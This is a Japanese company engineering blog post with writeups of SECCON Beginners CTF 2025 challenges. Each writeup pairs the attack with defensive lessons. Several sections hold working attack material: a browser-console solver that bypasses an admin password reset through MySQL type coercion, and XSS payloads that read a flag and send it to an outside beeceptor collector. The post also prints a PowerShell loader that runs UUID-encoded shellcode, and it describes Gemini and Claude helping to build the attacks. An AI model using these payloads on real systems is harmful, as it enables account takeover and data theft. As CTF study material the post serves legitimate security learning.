Money Forward Developers Blog

株式会社マネーフォワード公式開発者向けブログです。技術や開発手法、イベント登壇などを発信します。サービスに関するご質問は、各サービス窓口までご連絡ください。

20230215130734

SECCON Beginners CTF 2025 Writeup

株式会社マネーフォワード ビジネスカンパニー ERP開発本部の関西開発部に所属しているnanriです. 弊社有志でCTFに参加しました. この記事は僕が解いた問題のWriteup(問題の解き方をまとめたもの)になります.

What is SECCON Beginners CTF?

What is CTF?

CTFについては関西開発部のインタビューより以下のとおりです.

CTF(Capture The Flag:旗取り合戦)は、情報セキュリティのスキルを競い合うセキュリティコンテストです。 参加者は与えられた課題の中から隠された「FLAG」と呼ばれる文字列を見つけ出し、得点を競います。 また、さまざまな課題のジャンルや競技スタイルを提供できるCTFは「楽しみながら学ぶ」セキュリティ学習の場として機能します。

簡単に言ってしまうと情報セキュリティ分野における競技プログラミングのようなものです.

関西開発部では今年の5月にもCTFを行ないました. 詳しくは英語の参加記事をお読みください. また毛色は異なりますがDatadogに関わるCTFも東京オフィスで行ないました.

What is SECCON?

SECCONとは日本最大規模のCTFです.

今回参加したSECCON Beginners CTFは日本のCTF初級者~中級者までを対象としたCTFです.2018年に初めて開催されてから今年2025年で8回目の開催となります. 2025年7月26日の14時から24時間の期間で開催されました.

この度弊社有志でこのCTFにチーム Security Forward として参加しました. CTF経験は2名が1回,3名が未経験です.

結果は880チーム中62位で,CTF経験に乏しいチームとしては大健闘したと考えています. CTF4B competition results showing team ranking

以下からは僕が解いた問題のWriteupになります. 模試や受験でいうところの再現答案のようなものです.

kingyo_sukui

misc(その他)ジャンルの問題で解けると100pt獲得でき,最終的には644チームが解きました.

scooping! http://kingyo-sukui.challenges.beginners.seccon.jp:33333

きれいな考察

サイトに行き script.js を見るとflagに関わる情報がハードコーディングされています.

this.encryptedFlag = "CB0IUxsUCFhWEl9RBUAZWBM=";
this.secretKey = "a2luZ3lvZmxhZzIwMjU=";
this.flag = this.decryptFlag();

また関数 decryptFlag()script.js に書き込まれています. この関数 decryptFlag()secretKey をBase64でデコードし,そのキーを使って encryptedFlag をXOR復号化しています.

  decryptFlag() {
    try {
      const key = atob(this.secretKey);
      const encryptedBytes = atob(this.encryptedFlag);
      let decrypted = "";
      for (let i = 0; i < encryptedBytes.length; i++) {
        const keyChar = key.charCodeAt(i % key.length);
        const encryptedChar = encryptedBytes.charCodeAt(i);
        decrypted += String.fromCharCode(encryptedChar ^ keyChar);
      }
      return decrypted;
    } catch (error) {
      return "decrypt error";
    }
  }

この通りに復号してflagを獲得します.

ctf4b{kingyosukui2025}

セキュリティ観点での学び

  • 機密情報のクライアントサイド保存の危険性: 暗号化されていても,キーとデータが同一場所にあると容易に復号される
  • 防御策: 機密データはサーバーサイドで管理し,適切な認証・認可を実装する
  • 静的解析の重要性: フロントエンドコードは常に閲覧可能であることを前提とした設計が必要

実際の解法

Geminiを活用した効率的な解析により,暗号化アルゴリズムの理解と復号処理を迅速に実行できました.

url-checker

miscジャンルの問題で解けると100pt獲得でき,最終的には606チームが解きました.

有効なURLを作れますか?

nc url-checker.challenges.beginners.seccon.jp 33457

きれいな考察

この問題ではurlを入力し以下のif分岐をクリアするとflagを獲得できます. 例えば http://example.com/path と入力すると parsed.hostname つまりurlのホスト名が example.com となります.

allowed_hostname = "example.com"
user_input = input("Enter a URL: ").strip()
parsed = urlparse(user_input) # from urllib.parse import urlparse

try:
    if parsed.hostname == allowed_hostname:
        print("You entered the allowed URL :)")
    elif parsed.hostname and parsed.hostname.startswith(allowed_hostname):
        print(f"Valid URL :)")
        print("Flag: ctf4b{dummy_flag}")
    else:
        print(f"Invalid URL x_x, expected hostname {allowed_hostname}, got {parsed.hostname if parsed.hostname else 'None'}")
except Exception as e:
    print("Error happened")

flagを得るには以下の2つの条件が必要です.

  • parsed.hostnameexample.com で始まる
  • parsed.hostnameexample.com と完全には一致しない

これらの条件にあう http://example.com.ctf を入力してflagを得ます.

>> Enter a URL: http://example.com.ctf
Valid URL :)
Flag: ctf4b{574r75w17h_50m371m35_n07_53cur37}

セキュリティ観点での学び

  • 入力検証の重要性: 単純な文字列比較だけでは不十分
  • 防御策: ホワイトリスト方式での厳密な入力検証を実装する
  • URLパース処理の注意点: 異なるライブラリ間での挙動の違いに注意が必要

実際の解法

Geminiを活用してURLパースの仕様を迅速に理解し,効率的に脆弱性を特定できました.

url-checker2

miscジャンルの問題で解けると100pt獲得でき,最終的には524チームが解きました.

有効なURLを作れますか? Part2

nc url-checker2.challenges.beginners.seccon.jp 33458

きれいな考察

allowed_hostname = "example.com"
user_input = input("Enter a URL: ").strip()
parsed = urlparse(user_input) # from urllib.parse import urlparse

# Remove port if present
input_hostname = None
if ':' in parsed.netloc:
    input_hostname = parsed.netloc.split(':')[0]

try:
    if parsed.hostname == allowed_hostname:
        print("You entered the allowed URL :)")
    elif input_hostname and input_hostname == allowed_hostname and parsed.hostname and parsed.hostname.startswith(allowed_hostname):
        print(f"Valid URL :)")
        print("Flag: ctf4b{dummy_flag}")
    else:
        print(f"Invalid URL x_x, expected hostname {allowed_hostname}, got {parsed.hostname if parsed.hostname else 'None'}")
except Exception as e:
    print("Error happened")

今度はflagを取得するために,以下の3つの条件が必要です.

  • parsed.hostnameexample.com で始まる
  • parsed.hostnameexample.com と完全には一致しない
  • 変数 input_hostnameexample.com と完全一致

新たな変数 input_hostnameparsed.netloc から定義されます. 挙動を見てみると以下のようになります.

>>> from urllib.parse import urlparse
>>> parsed=urlparse('http://example.com:5000')
>>> parsed.netloc
'example.com:5000'
>>> parsed.netloc.split(':')[0]
'example.com'
>>> parsed.hostname
'example.com'

parsed.netlocparsed.hostname と共にポート番号も含みます.

例では parsed.netlocexample.com:5000 となっており, : で分割した先頭(例では example.com)が input_hostname となります. ただし例では parsed.hostnameexample.com と完全一致してしまい,flagを獲得することはできません.

ここでsshコマンドを参考にします. sshコマンドでは@以前にユーザー名が,@以降にhostnameがそれぞれ含まれます.

ssh user@example.com

同様にurlにも http://user@example.com のようにユーザー名を含めることができます. さらに現在では非推奨ですが,urlには http://user:password@hostname のようにpasswordを含むこともできてしまいます.

この仕様を利用して以下のurlを入力とします.

>>> parsed=urlparse('http://example.com:dummy_password@example.com.ctf')
>>> parsed.netloc
'example.com:dummy_password@example.com.ctf'
>>> parsed.netloc.split(':')[0]
'example.com'
>>> parsed.hostname
'example.com.ctf'

このurlならflagを獲得できる3つの条件をすべて満たします.

  • parsed.hostnameexample.com で始まる
  • parsed.hostnameexample.com と完全には一致しない
  • input_hostnameexample.com と完全一致

このurlを入力しflagを獲得します.

>> Enter a URL: http://example.com:dummy_password@example.com.ctf
Valid URL :)
Flag: ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5}

セキュリティ観点での学び

  • 複数の検証ロジックの整合性: 異なる解析処理の結果に矛盾が生じる危険性
  • 防御策: URL検証は単一のライブラリで統一し,すべての要素を包括的にチェックする
  • レガシー仕様の注意点: 非推奨のURL仕様(ユーザー:パスワード@ホスト)も考慮が必要

実際の解法

Gemini 2.5 Proを活用してURLの複雑な仕様を詳細に分析し,効率的に脆弱性のメカニズムを理解できました.

login4b

webジャンルの問題で解けると420pt獲得でき,最終的には102チームが解きました.

Are you admin? http://login4b.challenges.beginners.seccon.jp

きれいな考察

この問題ではエンドポイント POST /api/get_flagadmin というユーザー名のIdをsessionに持った状態で叩くことでflagを獲得できます.

app.get("/api/get_flag", (req: Request, res: Response) => {
  if (!req.session.userId) {
    return res.status(401).json({ error: "Not authenticated" });
  }

  if (req.session.username === "admin") {
    res.json({ flag: process.env.FLAG || "ctf4B{**REDACTED**}" });
  } else {
    res.json({ message: "Hello user! Only admin can see the flag." });
  }
});

まずエンドポイント POST /api/register より username がadminとなるユーザーを作ればflagを獲得できます.

app.post("/api/register", async (req: Request, res: Response) => {
  try {
    const { username, password } = req.body;
    if (!username || !password) {
      return res.status(400).json({ error: "Username and password required" });
    }

    const existingUser = await db.findUser(username);
    if (existingUser) {
      return res.status(400).json({ error: "Username already exists" });
    }

    const userId = await db.createUser(username, password);
    req.session.userId = userId;
    req.session.username = username;

    res.json({ success: true, message: "Registration successful" });
  } catch (error) {
    res.status(500).json({ error: "Registration failed" });
  }
});

ですが実際に実行してみるとadminというユーザーは既に存在しておりエラーが出ます.

さらにコードを眺めてみると エンドポイント POST /api/reset-password でもパスワードがリセットされた後にsessionが返ってきます. つまりユーザー名がadminとなるユーザーでパスワードをリセットすれば,エンドポイント POST /api/get_flag にアクセスできます.

app.post("/api/reset-password", async (req: Request, res: Response) => {
  try {
    const { username, token, newPassword } = req.body;
    if (!username || !token || !newPassword) {
      return res
        .status(400)
        .json({ error: "Username, token, and new password are required" });
    }

    const isValid = await db.validateResetTokenByUsername(username, token);

    if (!isValid) {
      return res.status(400).json({ error: "Invalid token" });
    }

    // TODO: implement
    // await db.updatePasswordByUsername(username, newPassword);

    // TODO: remove this
    const user = await db.findUser(username);
    if (!user) {
      return res.status(401).json({ error: "Invalid username" });
    }
    req.session.userId = user.userid;
    req.session.username = user.username;

    res.json({
      success: true,
      message: `The function to update the password is not implemented, so I will set you the ${user.username}'s session`,
    });
  } catch (error) {
    console.error("Password reset error:", error);
    res.status(500).json({ error: "Reset failed" });
  }
});

パスワードリセットに関わる実装を見てみると,エンドポイント POST /api/reset-request でパスワードリセット用のトークンが生成されるのが見てとれます.

app.post("/api/reset-request", async (req: Request, res: Response) => {
  try {
    const { username } = req.body;

    if (!username) {
      return res.status(400).json({ error: "Username is required" });
    }

    const user = await db.findUser(username);
    if (!user) {
      return res.status(404).json({ error: "User not found" });
    }

    await db.generateResetToken(user.userid);

    // TODO: send email to admin
    res.json({
      success: true,
      message:
        "Reset token has been generated. Please contact the administrator for the token.",
    });
  } catch (error) {
    console.error("Error generating reset token:", error);
    res.status(500).json({ error: "Internal server error" });
  }
});

このトークンは 現在時刻_UUID で構成されます.

  async generateResetToken(userid: number): Promise<string> {
    await this.initialized;
    const timestamp = Math.floor(Date.now() / 1000);
    const token = `${timestamp}_${uuidv4()}`;

    await this.pool.execute(
      "UPDATE users SET reset_token = ? WHERE userid = ?",
      [token, userid]
    );
    return token;
  }

ここでパスワードリセットのDBにおける実装を確認します.

  async validateResetTokenByUsername(
    username: string,
    token: string
  ): Promise<boolean> {
    await this.initialized;
    const [rows] = (await this.pool.execute(
      "SELECT COUNT(*) as count FROM users WHERE username = ? AND reset_token = ?",
      [username, token]
    )) as [any[], mysql.FieldPacket[]];
    return rows[0].count > 0;
  }

MySQL上ではトークンは文字列型をとっています.

      await this.pool.execute(`
        CREATE TABLE IF NOT EXISTS users (
          userid INT AUTO_INCREMENT PRIMARY KEY,
          username VARCHAR(255) UNIQUE NOT NULL,
          password_hash VARCHAR(255) NOT NULL,
          reset_token VARCHAR(255)
        )
      `);

しかしトークンとしてUNIX時間のように数字のみの値が送られた場合は,MySQLが先頭から数字のみの比較を行ない,数字以外の部分が出現した時点で比較を止めます. 例えば

  • リセットトークン: 1721982720_a1b2c3d4-e5f6-g7h8-i9j0-k1l2m3n4o5p6
  • トークン: 1721982720

とするとリセットトークンの _ の部分で比較が終わってしまいます. たとえトークンがUUIDを持っていなくても,存在するユーザー名をパラメーターに含んでいた場合,パスワードリセットが実行されてしまいます.

以上からこの問題は

  • ユーザー名をadminとしてリセットトークンを生成する
  • タイムスタンプを推測しadminとしてパスワードリセットを実行
  • パスワードリセット後のセッションでflagを獲得

この方針を実装した solver.js をDeveloper toolsのConsoleで実行してflagを獲得します.

async function getFlag() {
  const username = 'admin';
  const newPassword = 'password'; // 新しいパスワードは何でも良い

  // 1. adminのパスワードリセットをリクエスト
  console.log('Requesting password reset for admin...');
  await fetch('/api/reset-request', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ username: username }),
  });

  // 2. タイムスタンプを推測してパスワードリセットを実行
  // リクエストの遅延を考慮して、現在の時刻から数秒前のタイムスタンプを試行
  const now = Math.floor(Date.now() / 1000);
  for (let i = 0; i < 5; i++) {
    const timestamp = now - i;
    console.log(`Trying with timestamp: ${timestamp}`);

    const resetResponse = await fetch('/api/reset-password', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        username: username,
        token: timestamp, // 数値としてタイムスタンプを送信
        newPassword: newPassword,
      }),
    });

    const data = await resetResponse.json();
    if (data.success) {
      console.log('Password reset successful, we should have the admin session now!');

      // 3. adminとしてフラグを取得
      const flagResponse = await fetch('/api/get_flag');
      const flagData = await flagResponse.json();

      if (flagData.flag) {
        console.log('Success! Flag found:', flagData.flag);
        alert(`Flag: ${flagData.flag}`);
        return;
      }
    }
  }
  console.log('Failed to get the flag.');
  alert('Could not get the flag.');
}

getFlag();

Login4b challenge solution showing flag acquisition

ctf4b{y0u_c4n_byp455_my5q1_imp1ici7_7yp3_c457}

セキュリティ観点での学び

  • 型安全性の重要性: 数値と文字列の暗黙的変換による予期しない挙動
  • 防御策:
    • プリペアドステートメントの使用でSQLインジェクションを防止
    • 型チェックの厳密な実装
    • トークンの検証ロジックを適切に設計
  • 時間攻撃の対策: トークン生成時刻の推測を困難にする仕組みが必要

実際の解法

Gemini 2.5 Proを活用してMySQLの型変換の仕様を深く理解し,データベースセキュリティの脆弱性メカニズムを効率的に学習できました.

memo4b

webジャンルの問題で解けると308pt獲得でき,最終的には157チームが解きました.

Emojiが使えるメモアプリケーションを作りました:smile: メモアプリ: http://memo4b.challenges.beginners.seccon.jp:50000 Admin Bot: http://memo4b.challenges.beginners.seccon.jp:50001 Admin Bot (mirror): http://memo4b.challenges.beginners.seccon.jp:50002 Admin Bot (mirror2): http://memo4b.challenges.beginners.seccon.jp:50003

きれいな考察

GET /flag からflagを獲得できそうです.

app.get('/flag', (req,res)=> {
  const clientIP = req.socket.remoteAddress;
  const isLocalhost = clientIP === '127.0.0.1' ||
                     clientIP?.startsWith('172.20.');

  if (!isLocalhost) {
    return res.status(403).json({ error: 'Access denied.' });
  }

  if (req.headers.cookie !== 'user=admin') {
    return res.status(403).json({ error: 'Admin access required.' });
  }

  res.type('text/plain').send(FLAG);
});

コードから以下の2つの条件が必要です.

  • 実行元IPが 127.0.0.1 または 172.20.*.* いわゆる内部IP
  • 実行ユーザーがadmin

adminに関係ありそうなコードは無いかと探すとbot.jsに興味深い記述があります.

async function visitPost(postId) {
  console.log(`[Bot] Visiting post: ${postId}`);

  const browser = await puppeteer.launch({
    headless: true,
    args: [
      '--no-sandbox',
      '--disable-setuid-sandbox',
      '--disable-dev-shm-usage',
      '--disable-gpu'
    ]
  });

  try {
    const page = await browser.newPage();

    await page.setCookie({
      name: 'user',
      value: 'admin',
      domain: 'web',
      path: '/'
    });

    const url = `${WEBAPP_URL}/post/${postId}`;
    await page.goto(url, {
      waitUntil: 'domcontentloaded',
      timeout: VISIT_TIMEOUT
    });

    await new Promise(resolve => setTimeout(resolve, 3000));

    console.log(`[Bot] Successfully visited post: ${postId}`);

  } catch (error) {
    console.error(`[Bot] Error visiting post ${postId}:`, error.message);
  } finally {
    await browser.close();
  }
}

この関数の中でbotがadminというユーザーとして実行しています. botにflagを送信させるメモを実行させることで解くことができそうです.

メモを作成するコードを探していると絵文字の処理部分で利用できそうな部分がありました. 絵文字に変換する部分で new URL()parse() という2つのライブラリを使っています.

function processEmojis(html) {
  return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => {
    if (emojiMap[name]) {
      return emojiMap[name];
    }

    if (name.match(/^https?:\/\//)) {
      try {
        const urlObj = new URL(name);
        const baseUrl = urlObj.origin + urlObj.pathname;
        const parsed = parse(name); // import parse from 'url-parse';
        const fragment = parsed.hash || '';
        const imgUrl = baseUrl + fragment;

        return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`;
      } catch (e) {
        return match;
      }
    }

    return match;
  });
}

前者の new URL(name) はurlを抜き出すのに対して,後者の parse(name) は単にメモ内の#以降をhashとして組み込むだけであり,後者に抜け穴があります.

実際の解法

この問題においてもGemini 2.5 Proを活用して効率的に脆弱性の本質を理解してから実装に取り組みました.

Geminiの分析により parse(name) の挙動に着目すべきことがわかり, onerror を利用したXSSペイロードの構築を試行しましたが最初は上手くいきませんでした.

:https://a#toString:

<script>
  fetch('/flag')
    .then(res => res.text())
    .then(flag => {
      fetch('https://<あなたのwebhook.siteのURL>/?flag=' + encodeURIComponent(flag));
    });
</script>

ちなみにwebhook.site というのは即席でリクエストを受け取れるサーバーを作れるサービスです. 今回は類似サービスのbeeceptorを使いました.

他のAPIを見ているうちに GET /api/posts にこれまでの回答一覧があったため,一通り確認した上で,まずはalertを出すところから始めました. これまでの回答を一つずつ確認しながらalertを出すメモを作成できました.

  :http://example.com/#"
  onerror="alert(1);fetch('/flag').then(r=>r.text()).then(t=>console.log(t))" "="":

alertを出せたのでXSSが可能であることが分かりました. このXSSを利用してflagを送信するメモを作成しました.

  :http://example.com/#"
  onerror="fetch('/flag').then(r=>r.text()).then(t=>fetch('https://fagmerioaavs.free.beeceptor.com',
  {method:'POST', body:t}))" "="":

このメモを登録すると以下のように : で分割されてしまうため別の手段でhttpsを表現する必要があります. Memo4b challenge interface showing memo submission

さらなるClaude分析の結果, window.location.protocol を利用すれば問題を解決できることがわかりました.

  :http://example.com/#"
  onerror="fetch('/flag').then(r=>r.text()).then(t=>fetch(window.location.protocol+ '//fagmerioaavs.free.beeceptor.com/?flag='+ encodeURIComponent(t)))" "="":

このメモを登録すると GET /?flag=%7B%22error%22%3A%22Access%20denied.%22%7D を獲得できました.

後はbotからこのメモを実行して GET /?flag=ctf4b%7Bxss_1s_fun_and_b3_c4r3fu1_w1th_url_p4r5e%7D を得たので清書してflagを獲得できます.

ctf4b{xss_1s_fun_and_b3_c4r3fu1_w1th_url_p4r5e}

セキュリティ観点での学び

  • 入力サニタイゼーションの不完全性: URL解析ライブラリ間の挙動の違いが脆弱性を生む
  • 防御策:
    • Content Security Policy (CSP) の適切な設定
    • 入力値の厳密なサニタイゼーション
    • 信頼できる単一のURL解析ライブラリの使用
  • XSS対策の多層防御: クライアントサイドとサーバーサイド両方での対策が必要

Elliptic4b

cryptoジャンルの問題で解けると272pt獲得でき,最終的には172チームが解きました.

楕円曲線だからってそっ閉じしないで!

nc elliptic4b.challenges.beginners.seccon.jp 9999

実際の解法

Geminiを活用してコードを分析した結果,楕円曲線上の点を求める数学的問題であることが判明しました. 最初の単発アプローチでは解けませんでしたが,Geminiの分析により約1/3の確率で解ける問題だと理解できました. そこで適切な間隔でのリトライ機能を持つsolverを実装し,数学的根拠に基づいた解法で正解を得ることができました.

import time
from pwn import *
from fastecdsa.curve import secp256k1
from sympy import nthroot_mod

# --- 課題のパラメータ ---
curve = secp256k1
p = curve.p
n = curve.q

# --- サーバー情報 ---
HOST = 'elliptic4b.challenges.beginners.seccon.jp'
PORT = 9999

# --- 成功するまでループ ---
while True:
    conn = None  # connを初期化
    try:
        log.info("サーバーに接続して、解読を試みます...")
        # 接続試行中の大量のログ出力を抑制
        conn = remote(HOST, PORT, level='error')

        # --- ステップ1: y座標の取得 ---
        y_line = conn.recvline().decode().strip()
        y = int(y_line.split(' = ')[1])
        log.info(f"受信した y: {y}")

        # --- ステップ2: x座標の計算 ---
        c = (y**2 - 7) % p
        # sympy を使ってモジュラ立方根を求める
        x = nthroot_mod(c, 3, p)

        # x が見つからなかった場合(ハズレのyだった場合)
        if x is None:
            log.warning("このyではxを計算できませんでした。再試行します。")
            conn.close()
            time.sleep(1) # 1秒待ってから再試行
            continue # ループの最初に戻る

        # x が見つかった場合(アタリのyだった場合)
        log.success(f"解けるyを発見! 計算した x: {x}")

        # x座標をサーバーに送信
        conn.sendlineafter(b'x = ', str(x).encode())

        # --- ステップ3: スカラ a の計算 ---
        a = n - 1
        log.success(f"計算した a: {a}")

        # aをサーバーに送信
        conn.sendlineafter(b'a = ', str(a).encode())

        # --- ステップ4: フラグの取得 ---
        log.success("パラメータを送信しました。フラグを取得します!")
        # サーバーとの対話モードに切り替えて結果を表示
        conn.interactive()

        # 成功したのでループを抜ける
        break

    except (PwnlibException, IndexError, ValueError, EOFError) as e:
        log.failure(f"エラーが発生しました: {e}。リトライします。")
        if conn:
            conn.close()
        time.sleep(1) # 1秒待ってから再試行

実際のログでも5回前後で正解を得たので禁止行為にも当たらないと考えました.

~/.cache/ctf via C v17.0.0-clang via 🐍 v3.12.5 (ctf)  1s
❮ python3 solve_robust.py
[*] サーバーに接続して、解読を試みます...
[*] 受信した y: 43798396158418766814687733091062103711418432092739158909849424930303661976619
[+] 解けるyを発見! 計算した x: 28356610687191718061379870584385783391334598877360784803863860159834423606283
[+] 計算した a: 115792089237316195423570985008687907852837564279074904382605163141518161494336
[+] パラメータを送信しました。フラグを取得します!
flag = ctf4b{1et'5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}
$

~/.cache/ctf via C v17.0.0-clang via 🐍 v3.12.5 (ctf)  43s
❯ python3 solve_robust.py
[*] サーバーに接続して、解読を試みます...
[*] 受信した y: 62060996999663445425746425076940333821827285393222605235358737549811422902413
[!] このyではxを計算できませんでした。再試行します。
[*] サーバーに接続して、解読を試みます...
[*] 受信した y: 99156606436681974270286305880969137422183060689073849257271632049553307469789
[!] このyではxを計算できませんでした。再試行します。
[*] サーバーに接続して、解読を試みます...
[*] 受信した y: 82370929946941124609484230677108849604472486240019456005666989403326022585373
[!] このyではxを計算できませんでした。再試行します。
[*] サーバーに接続して、解読を試みます...
[*] 受信した y: 2300836255126058198583664738109732572457224628706462123219081582847131965562
[!] このyではxを計算できませんでした。再試行します。
[*] サーバーに接続して、解読を試みます...
[*] 受信した y: 40540900677326492644348433175348314607006900096067727136345906295099172407029
[!] このyではxを計算できませんでした。再試行します。
[*] サーバーに接続して、解読を試みます...
[*] 受信した y: 29307994546154019237819766000526702076356542060080149056989259935735021881079
[!] このyではxを計算できませんでした。再試行します。
[*] サーバーに接続して、解読を試みます...
[*] 受信した y: 91181422249852235885219888382853920825369899348817255791021424507715216784937
[+] 解けるyを発見! 計算した x: 1616061374785903926946962203343620547170464672141687644395404807445424389769
[+] 計算した a: 115792089237316195423570985008687907852837564279074904382605163141518161494336
[+] パラメータを送信しました。フラグを取得します!
flag = ctf4b{1et'5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}
ctf4b{1et'5_b3c0m3_3xp3r7s_1n_3ll1p71c_curv35!}

セキュリティ観点での学び

  • 数学的基盤の重要性: 楕円曲線暗号の安全性は数学的な困難性に基づく
  • 実装上の注意点: 確率的なアルゴリズムでも適切な試行により解決可能
  • 防御策: 十分に大きな鍵長と検証されたパラメータの使用が重要

code_injection (failed)

reversingジャンルの問題で解けると441pt獲得でき,最終的には88チームが解きました.

ある条件のときにフラグが表示されるみたい。

僕は解けていません.以下がpowershellのコードになります.

add-type '
using System;
using System.Runtime.InteropServices;

[StructLayout( LayoutKind.Sequential )]
public static class Kernel32{
 [DllImport( "kernel32.dll" )]
 public static extern IntPtr VirtualAlloc( IntPtr address, int size, int AllocType, int protect );
 [DllImport( "kernel32.dll" )]
 public static extern bool EnumSystemLocalesA( IntPtr buf, uint flags );
}

public static class Rpcrt4{
 [DllImport( "rpcrt4.dll" )]
 public static extern void UuidFromStringA( string uuid, IntPtr buf );
}';

$workdir = ( Get-Location ).Path;
[System.IO.Directory]::SetCurrentDirectory( $workdir );
$lines = [System.IO.File]::ReadAllLines( ".\sh.txt" );
$buf = [Kernel32]::VirtualAlloc( [IntPtr]::Zero, $lines.Length * 16, 0x1000, 0x40 );
$proc = $buf;
foreach( $line in $lines ){
 $tmp = [Rpcrt4]::UuidFromStringA( $line, $buf );
 $buf = [IntPtr]( $buf.ToInt64() + 16 )
}
$tmp = [Kernel32]::EnumSystemLocalesA( $proc, 0 );

UTMのArm版Windows11で実行すると以下の通りにエラーを挙げました.

PS Z:\code_injection 2> powershell -exec bypass .\ps_z.ps1

ハンドルされていない例外: System.Runtime.InteropServices.SEHException: 外部コンポーネントが例外をスローしました。
   場所 Kernel32.EnumSystemLocalesA(IntPtr buf, UInt32 flags)
   場所 CallSite.Target(Closure , CallSite , Type , Object , Int32 )
   場所 System.Dynamic.UpdateDelegates.UpdateAndExecute3[T0,T1,T2,TRet](CallSite site, T0 arg0, T1 arg1, T2 arg2)
   場所 System.Management.Automation.Interpreter.DynamicInstruction`4.Run(InterpretedFrame frame)
   場所 System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   場所 System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   場所 System.Management.Automation.Interpreter.Interpreter.Run(InterpretedFrame frame)
   場所 System.Management.Automation.Interpreter.LightLambda.RunVoid1[T0](T0 arg0)
   場所 System.Management.Automation.DlrScriptCommandProcessor.RunClause(Action`1 clause, Object dollarUnderbar, Object inputToProcess)
   場所 System.Management.Automation.DlrScriptCommandProcessor.Complete()
   場所 System.Management.Automation.CommandProcessorBase.DoComplete()
   場所 System.Management.Automation.Internal.PipelineProcessor.DoCompleteCore(CommandProcessorBase commandRequestingUpstreamCommandsToStop)
   場所 System.Management.Automation.Internal.PipelineProcessor.SynchronousExecuteEnumerate(Object input)
   場所 System.Management.Automation.PipelineOps.InvokePipeline(Object input, Boolean ignoreInput, CommandParameterInternal[][] pipeElements, CommandBaseAst[] pipeElementAsts, CommandRedirection[][] commandRedirections, FunctionContext funcContext)
   場所 System.Management.Automation.Interpreter.ActionCallInstruction`6.Run(InterpretedFrame frame)
   場所 System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   場所 System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
   場所 System.Management.Automation.Interpreter.Interpreter.Run(InterpretedFrame frame)
   場所 System.Management.Automation.Interpreter.LightLambda.RunVoid1[T0](T0 arg0)
   場所 System.Management.Automation.DlrScriptCommandProcessor.RunClause(Action`1 clause, Object dollarUnderbar, Object inputToProcess)
   場所 System.Management.Automation.DlrScriptCommandProcessor.Complete()
   場所 System.Management.Automation.CommandProcessorBase.DoComplete()
   場所 System.Management.Automation.Internal.PipelineProcessor.DoCompleteCore(CommandProcessorBase commandRequestingUpstreamCommandsToStop)
   場所 System.Management.Automation.Internal.PipelineProcessor.SynchronousExecuteEnumerate(Object input)
   場所 System.Management.Automation.Runspaces.LocalPipeline.InvokeHelper()
   場所 System.Management.Automation.Runspaces.LocalPipeline.InvokeThreadProc()
   場所 System.Management.Automation.Runspaces.PipelineThread.WorkerProc()
   場所 System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
   場所 System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
   場所 System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
   場所 System.Threading.ThreadHelper.ThreadStart()

このエラーからx86のWindowsをutmで入れようとするもエミュレータ上でパソコンの要件が不足していると表示され断念しました.

他の方のWriteupを見てみるときっちりとGhidraを使用されていました. 僕自身にGhidraを使った経験がなかったので解けなかったと今では考えていますが,次への改善点が見つかったので良しとしています.

CTFを終えて

チーム全体としてはCTF経験に乏しくとも健闘したと感じております. 個人の感想としては以下になります.

  • Good: Gemini 2.5 ProやClaudeなどのAIツールを効果的に活用することで,複雑なセキュリティ概念を効率的に学習し理解を深めることができた.
  • More: Ghidraなどの定番リバースエンジニアリングツールの習熟を通じて,より幅広いセキュリティ分野の知識を身につけていく.

おわりに

今回のCTF参加を通じて,チーム一丸となってセキュリティ技術を学び,実践的なスキルを身につけることができました. 特にAIツールを活用した効率的な学習アプローチは,今後の技術習得においても大きな価値があると感じています.

マネーフォワードでは,このようなセキュリティ技術の向上や継続的な学習を重視し,エンジニアの成長をサポートしています. 私たちと一緒にセキュリティ技術を学び,成長していける仲間を募集しています.

関西開発拠点のサイトもぜひご覧ください.

免責事項

本記事は教育目的でのセキュリティ学習内容を共有するものです. 記載された技術情報や手法は,CTFという安全な学習環境での体験に基づいています.

これらの情報を実環境において無許可で使用することは法的問題を引き起こす可能性があります. 記事内容は適切な環境とアクセス許可のもとでの学習目的でのみご活用ください.

また,本記事で紹介する脆弱性や攻撃手法は,セキュリティ向上のための理解を深めることを目的としており,悪用を推奨するものではありません.